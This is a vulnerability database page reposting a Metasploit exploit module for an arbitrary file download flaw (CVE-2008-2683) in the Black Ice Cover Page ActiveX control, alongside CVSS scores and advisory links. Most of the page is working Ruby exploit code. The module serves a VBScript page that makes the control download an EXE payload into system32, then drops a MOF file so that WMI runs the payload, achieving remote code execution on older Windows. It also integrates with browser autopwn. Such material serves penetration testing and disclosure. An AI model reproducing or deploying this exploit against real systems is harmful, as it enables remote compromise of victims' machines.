Black Ice Cover Page ActiveX Control Arbitrary File Download

2011.06.22
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: blackice_downloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, :vuln_test => nil, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0). Code exeuction can be acheived by first uploading the payload to the remote machine, and then upload another mof file, which enables Windows Management Instrumentation service to execute the binary. Please note that this module currently only works for Windows before Vista. Also, a similar issue is reported in BIDIB.ocx (10.9.3.0) within the Barcode SDK. }, 'License' => MSF_LICENSE, 'Author' => [ 'shinnai', # original discovery 'mr_me', # msf 'sinn3r' # wbemexec tekniq ], 'Version' => '$Revision: 12992 $', 'References' => [ [ 'CVE', '2008-2683'], [ 'OSVDB', '46007'], [ 'BID', '29577'], [ 'URL', 'http://www.exploit-db.com/exploits/5750/' ], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ #Windows before Vista [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 05 2008')) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) if request.uri.match(/\.EXE/) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' }) return elsif request.uri.match(/\.MOF/) return if @mof_name == nil or @payload_name == nil print_status("Generating mof...") mof = generate_mof(@mof_name, @payload_name) print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, mof, {'Content-Type'=>'application/octet-stream'}) return end url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'] + get_resource() + "/" #VBScript variables clsid = "79956462-F148-497F-B247-DF35A095F80B" method = "DownloadImageFileURL" blackice = rand_text_alpha(rand(100) + 1) #BlackIce object ID @payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name payload_vbs_url_name = rand_text_alpha(5) #Payload's vbs var name payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name @mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine mof_vbs_url_name = rand_text_alpha(5) #MOF's vbs var name mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name sub_name = rand_text_alpha(rand(10) + 1) #Subroutine name #Slow connection friendly: We will wait for 4 seconds before we try to execute our payload #This delay seems necessary before calling mof, otherwise we end up interrupting downloading #our payload content = <<-EOS <html> <object classid='clsid:#{clsid}' id='#{blackice}' ></object> <script language='vbscript'> sub #{sub_name} #{mof_vbs_url_name} = "#{url}#{@mof_name}" #{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}" #{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath} end sub #{payload_vbs_url_name} = "#{url}#{@payload_name}" #{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}" #{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath} setTimeout "#{sub_name}()", 4000 </script> </html> EOS #Clear the extra tabs content = content.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end def exploit @payload = generate_payload_exe super end end

References:

http://xforce.iss.net/xforce/xfdb/42891
http://www.vupen.com/english/advisories/2008/1768/references
http://www.milw0rm.com/exploits/5750
http://secunia.com/advisories/30548


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top